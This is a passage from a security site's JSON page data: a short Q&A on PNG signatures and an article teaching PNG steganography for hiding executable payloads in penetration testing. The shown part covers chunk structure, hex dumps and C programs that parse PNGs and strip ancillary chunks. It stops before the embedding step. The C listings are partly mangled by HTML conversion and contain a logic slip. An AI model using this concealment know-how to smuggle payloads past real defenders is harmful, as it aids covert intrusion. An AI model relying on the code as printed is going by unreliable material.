[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDyCneLanvtTmvSZZiOfOy_guuq-4kZe51Gv4PBb2tYg":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},162,"How can I identify if a file is a valid PNG image by its file signature?","Every PNG file starts with an 8-byte fixed signature: `89 50 4E 47 0D 0A 1A 0A` (hex). This signature is a magic number that distinguishes PNG from other formats. Tools like Hex Editor can reveal this signature, and any valid PNG must begin with it. Understanding this signature is the first step when analyzing image files for potential steganographic payloads, as described in the article [Steganography Techniques - Hiding Payloads Using PNG File Format](\u002Fnews\u002Fsteganography-techniques-hiding-payloads-using-png-file-format).","\u003Cp>Every PNG file starts with an 8-byte fixed signature: `89 50 4E 47 0D 0A 1A 0A` (hex). This signature is a magic number that distinguishes PNG from other formats. Tools like Hex Editor can reveal this signature, and any valid PNG must begin with it. Understanding this signature is the first step when analyzing image files for potential steganographic payloads, as described in the article [Steganography Techniques - Hiding Payloads Using PNG File Format](\u002Fnews\u002Fsteganography-techniques-hiding-payloads-using-png-file-format).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fsteganography-techniques-hiding-payloads-using-png-file-format\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-can-i-identify-if-a-file-is-a-valid-png-image-by-its-file-signature-1777484735000","PNG file signature, magic number, hex editor, file format identification",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},43,"Steganography Techniques - Hiding Payloads Using PNG File Format","steganography-techniques-hiding-payloads-using-png-file-format","Learn PNG steganography techniques to hide payloads in images without affecting viewing. Analyze file structure, parse data chunks, and embed custom data securely.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Steganography has a long history with many interesting details, so I plan to systematically study it. This time, let's start with the PNG file format.\u003C\u002Fp>\u003Cp>![Alt text](\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.某开源项目.jpg)\u003C\u002Fp>\u003Cp>Image from http:\u002F\u002Fnull-byte.wonderhowto.com\u002Fhow-to\u002Fguide-steganography-part-1-hide-secret-messages-images-0130797\u002F\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Steganography can be understood as information hiding, with its primary application in penetration testing being payload concealment. This article will analyze the PNG file format, write a C program to automatically parse the file format, and add custom payloads according to its structure. This will not affect normal image viewing, allow image uploads to the internet, and enable payload execution by downloading the image and decrypting it in a specific format.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>All program source code has been uploaded to GitHub at:\u003C\u002Fp>\u003Cp>某开源项目\u003C\u002Fp>\u003Ch2>0x02 PNG File Format\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. PNG file signature field\u003C\u002Fh3>\u003Cp>First 8 bytes\u003C\u002Fp>\u003Cp>Fixed format, hexadecimal representation:\u003C\u002Fp>\u003Cp>89 50 4e 47 0d 0a 1a 0a\u003C\u002Fp>\u003Ch3>2. Data chunks\u003C\u002Fh3>\u003Cp>Chunk Type Code: 4 bytes, data chunk type code\u003C\u002Fp>\u003Cp>Chunk Data: Variable length, stores data\u003C\u002Fp>\u003Cp>CRC (Cyclic Redundancy Check): 4 bytes, stores cyclic redundancy code for error detection\u003C\u002Fp>\u003Cp>\u003Cstrong>Data chunk types:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cstrong>1. Critical chunks\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>(1) IHDR chunk (header chunk)\u003C\u002Fp>\u003Cul>\u003Cli>Contains basic information of the PNG file\u003C\u002Fli>\u003Cli>Only one IHDR chunk can exist in a PNG data stream\u003C\u002Fli>\u003Cli>\u003Cstrong>Must be placed at the very beginning of the PNG file\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(2) PLTE chunk (palette chunk)\u003C\u002Fp>\u003Cul>\u003Cli>Contains color transformation data related to indexed-color images\u003C\u002Fli>\u003Cli>\u003Cstrong>Must appear before IDAT\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(3) Image data chunk IDAT\u003C\u002Fp>\u003Cul>\u003Cli>Stores actual image data\u003C\u002Fli>\u003Cli>Multiple IDAT chunks may exist\u003C\u002Fli>\u003Cli>\u003Cstrong>Must be consecutive with other IDAT chunks\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(4) Image trailer chunk IEND\u003C\u002Fp>\u003Cul>\u003Cli>Fixed format, hexadecimal representation:\u003C\u002Fli>\u003C\u002Ful>\u003Cp>00 00 00 00 49 45 4E 44 AE 42 60 82\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Must be at the very end of the PNG file\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>2. Ancillary chunks\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Used to indicate layers, text, and other auxiliary information in PNG images\u003C\u002Fp>\u003Cp>\u003Cstrong>Can be deleted without affecting image viewing, but the image will lose its original editability\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>(1) Background color chunk bKGD\u003C\u002Fp>\u003Cp>(2) Primary chromaticities and white point chunk cHRM\u003C\u002Fp>\u003Cp>(3) Image gamma chunk gAMA (image gamma)\u003C\u002Fp>\u003Cp>(4) Image histogram chunk hIST (image histogram)\u003C\u002Fp>\u003Cp>(5) Physical pixel dimensions chunk pHYs (physical pixel dimensions)\u003C\u002Fp>\u003Cp>(6) Significant bits chunk sBIT (significant bits)\u003C\u002Fp>\u003Cp>(7) Textual data chunk tEXt (textual data)\u003C\u002Fp>\u003Cp>(8) Image last-modification time chunk tIME (image last-modification time)\u003C\u002Fp>\u003Cp>(9) Transparency chunk tRNS (transparency)\u003C\u002Fp>\u003Cp>(10) Compressed textual data chunk zTXt (compressed textual data)\u003C\u002Fp>\u003Ch2>0x03 Instance format analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Tool: Hex Editor\u003C\u002Fp>\u003Cp>\u003Cstrong>Advantages:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Allows marking of hexadecimal strings, setting colors, facilitating format analysis\u003C\u002Fp>\u003Cp>\u003Cstrong>Test file:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019814897_0_59be984192.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Source download address:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.easyicon.net\u002Flanguage.en\u002F1172671-png_icon.html\u003C\u002Fp>\u003Cp>The marked file format is as shown\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019824357_1_164d35e68a.png\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019837235_2_cca12bfe8a.png\">\u003C\u002Fp>\u003Ch3>(1) PNG file signature field\u003C\u002Fh3>\u003Cp>Fixed format:\u003C\u002Fp>\u003Cp>89 50 4e 47 0d 0a 1a 0a \u003C\u002Fp>\u003Ch3>(2) IHDR\u003C\u002Fh3>\u003Cp>00000008h: 00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A ; ....IHDR........\u003C\u002Fp>\u003Cp>00000018h: 08 04 00 00 00 03 43 84 45                      ; ......C凟\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cstrong>Length:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>00 00 00 0D\u003C\u002Fp>\u003Cp>The first 4 bytes define the length, 00 00 00 0D in decimal is 13, representing a length of 13 bytes.\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk Type Code:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>49 48 44 52\u003C\u002Fp>\u003Cp>4 bytes, define the chunk type code, here it is IHDR\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk Data:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>00 00 00 1A 00 00 00 1A 08 04 00 00 00 \u003C\u002Fp>\u003Cp>A total of 13 bytes, define the data content\u003C\u002Fp>\u003Cp>\u003Cstrong>CRC:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>4 bytes, the value calculated by performing CRC32 on Chunk Type Code + Chunk Data\u003C\u002Fp>\u003Cp>That is, calculate the following hexadecimal:\u003C\u002Fp>\u003Cp>49 48 44 52 00 00 00 1A 00 00 00 1A 08 04 00 00 00\u003C\u002Fp>\u003Cp>Write a program to verify the CRC algorithm, save it as example1.cpp, the source code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstring.h>\u003Cbr>unsigned int GetCrc32(char* InStr,unsigned int len){        \u003Cbr>  unsigned int Crc32Table[256];      \u003Cbr>  int i,j;        \u003Cbr>  unsigned int Crc;        \u003Cbr>  for (i = 0; i &lt; 256; i++){        \u003Cbr>\tCrc = i;        \u003Cbr>\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t  if (Crc &amp; 1)        \u003Cbr>\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t  else       \u003Cbr>\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t}        \u003Cbr>\tCrc32Table[i] = Crc;        \u003Cbr>  }        \u003Cbr>\t\u003Cbr>  Crc=0xffffffff;        \u003Cbr>  for(int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>  }     \u003Cbr>\t   \u003Cbr>  Crc ^= 0xFFFFFFFF;     \u003Cbr>  return Crc;        \u003Cbr>}        \u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tchar buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};\u003Cbr>\tunsigned int crc32=GetCrc32(buf,sizeof(buf));\u003Cbr>\tprintf(\"%08X\\n\",crc32);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After running, the output is 03438445, which matches the CRC32 checksum in the file\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019860161_3_858fae1e5b.jpeg\">\u003C\u002Fp>\u003Ch3>(3) gAMA\u003C\u002Fh3>\u003Cp>00000021h: 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 ; ....gAMA..睆.黙.\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 04\u003C\u002Fp>\u003Cp>Chunk Type Code:\t67 41 4D 41\u003C\u002Fp>\u003Cp>Chunk Data:\t\t00 00 B1 8F\u003C\u002Fp>\u003Cp>CRC:\t\t\t\t0B FC 61 05\u003C\u002Fp>\u003Ch3>(4) cHRM\u003C\u002Fh3>\u003Cp>00000031h: 00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84 ; ... cHRM..z&amp;..€?\u003C\u002Fp>\u003Cp>00000041h: 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 ; ..?..€?.u0..阘\u003C\u002Fp>\u003Cp>00000051h: 00 00 3A 98 00 00 17 70 9C BA 51 3C             ; ..:?..p満Q&lt;\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 20\u003C\u002Fp>\u003Cp>Chunk Type Code:\t63 48 52 4D\u003C\u002Fp>\u003Cp>Chunk Data:\t\t\t00 00 7A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70\u003C\u002Fp>\u003Cp>CRC:\t\t\t\t9C BA 51 3C\u003C\u002Fp>\u003Ch3>(5) IDAT\u003C\u002Fh3>\u003Cp>(6-14) tEXt\u003C\u002Fp>\u003Cp>(15) IEND\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 00\u003C\u002Fp>\u003Cp>Chunk Type Code:\t49 45 4E 44\u003C\u002Fp>\u003Cp>Chunk Data:\u003C\u002Fp>\u003Cp>CRC:\t\t\t\tAE 42 60 82\u003C\u002Fp>\u003Cp>Fixed structure, CRC value is the CRC32 checksum of the Chunk Type Code\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019866187_4_29f3098977.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Writing a program to analyze file format\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Development tool: vc6.0\u003C\u002Fp>\u003Ch3>1. Read PNG file\u003C\u002Fh3>\u003Cp>Save as example2.cpp, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp;\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>int len=ftell(fp);\u003Cbr>unsigned char *buf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"len=%d\\n\",len);\u003Cbr>\tfor(int i=1;i&lt;=len;i++)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"%02X \",buf[i-1]);\u003Cbr>\t\tif(i%16==0)\u003Cbr>\t\t\tprintf(\"\\n\");\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\tprintf(\"\\n\");\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown, the program outputs in UltraEdit format for subsequent format analysis\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019869703_5_7a61e7150e.png\">\u003C\u002Fp>\u003Ch3>2. Parse data block structure\u003C\u002Fh3>\u003Cp>Starting from the 8th byte, read the first four bytes as ChunkLength\u003C\u002Fp>\u003Cp>The corresponding code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int ChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The next four bytes are ChunkName\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>printf(\"ChunkName:%c%c%c%c\\n\",buf[0],buf[1],buf[2],buf[3]);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Then read the complete ChunkData based on ChunkLength\u003C\u002Fp>\u003Cp>Finally, read the CRC32 value and compare it with the CRC32 checksum calculated from Chunk Type Code + Chunk Data\u003C\u002Fp>\u003Cp>Save as check.cpp, the complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp;   \u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0;\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\tprintf(\"   ChunkOffset:0x%08x\\t\\n\",ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\\t\\t\\n\",ChunkLen);\u003Cbr>\t\tChunkOffset+=ChunkLen+12;\u003Cbr>\t\tcrc32=GetCrc32(buf,ChunkLen+4);\u003Cbr>\t\tprintf(\"   ExpectCRC32:%08X\\n\",crc32);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkCRC32=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\\t\\t\",ChunkCRC32);\u003Cbr>\t\tif(crc32!=ChunkCRC32)\u003Cbr>\t\t\\tprintf(\"[!]CRC32Check Error!\\n\");\u003Cbr>\t\telse\u003Cbr>\t\t\\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\t\t\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When executed, the complete PNG file structure can be obtained\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019874855_6_53f0e48f83.png\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019879080_7_066528b5fc.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This program can be used to analyze PNG file formats, marking chunk names, offset addresses, chunk lengths, and comparing expected versus actual CRC32 checksums. It can be used to analyze batch files and identify suspicious files.\u003C\u002Fp>\u003Cp>Python implementation code will be supplemented later\u003C\u002Fp>\u003Ch2>0x05 Remove redundant data\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>As mentioned above, removing the content of ancillary chunks does not affect the viewing of PNG images. Next, we will attempt to remove all ancillary chunks from the PNG file.\u003C\u002Fp>\u003Ch3>1. Tool Implementation\u003C\u002Fh3>\u003Cp>As shown in the figure, use a Hex Editor to remove the ancillary chunks gAMA, cHRM, and bKGD.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019884880_8_fa6de21167.png\">\u003C\u002Fp>\u003Cp>As shown in the figure, the file size changes, but it does not affect the viewing of the PNG file.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019887430_9_b39b60113a.jpeg\">\u003C\u002Fp>\u003Ch3>2. Program Implementation\u003C\u002Fh3>\u003Cp>Remove all ancillary chunks, extracting only key information. The program first checks the ChunkName, ignores the content of non-critical data chunks (Ancillary Chunks), and saves it as new.png.\u003C\u002Fp>\u003Cp>Save as compress.cpp, the complete code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp,*fpnew;   \u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\t\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0,j=0;\u003Cbr>\tunsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};\t\u003Cbr>\tunsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};\t   \u003Cbr>\t\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\0.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tif((fpnew=fopen(\"c:\\\\test\\\\new.png\",\"wb\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\tfwrite(Signature,8,1,fpnew);\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tj=0;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\u003Cbr>\t\t\tfwrite(buf,4+ChunkLen,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\t\tfseek(fpnew, -4, SEEK_CUR);\u003Cbr>\t\t\tj = 1;\u003Cbr>\t\t}\u003Cbr>\t\tprintf(\"   ChunkOffset: 0x%08x\\t\\n\", ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\\t\\t\\n\", ChunkLen);\u003Cbr>\t\tcrc32 = GetCrc32(buf, ChunkLen + 4);\u003Cbr>\t\tprintf(\"   ExpectCRC32: %08X\\n\", crc32);\u003Cbr>\t\tfread(buf, 4, 1, fp);\u003Cbr>\t\tChunkCRC32 = (buf[0] &lt;&lt; 24) | (buf[1] &lt;&lt; 16) | (buf[2] &lt;&lt; 8) | buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\\t\\t\", ChunkCRC32);\u003Cbr>\t\tif (crc32 != ChunkCRC32)\u003Cbr>\t\t\tprintf(\"[!] CRC32 Check Error!\\n\")\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\t\tif(j==0)\u003Cbr>\t\t\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tfwrite(IEND,12,1,fpnew);\u003Cbr>\tfclose(fp);\u003Cbr>\tfclose(fpnew);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown, the left side is the original PNG file size, while the right side is the file after removing all ancillary chunks, which can still be viewed normally\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019888408_10_4e1142a309.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Write 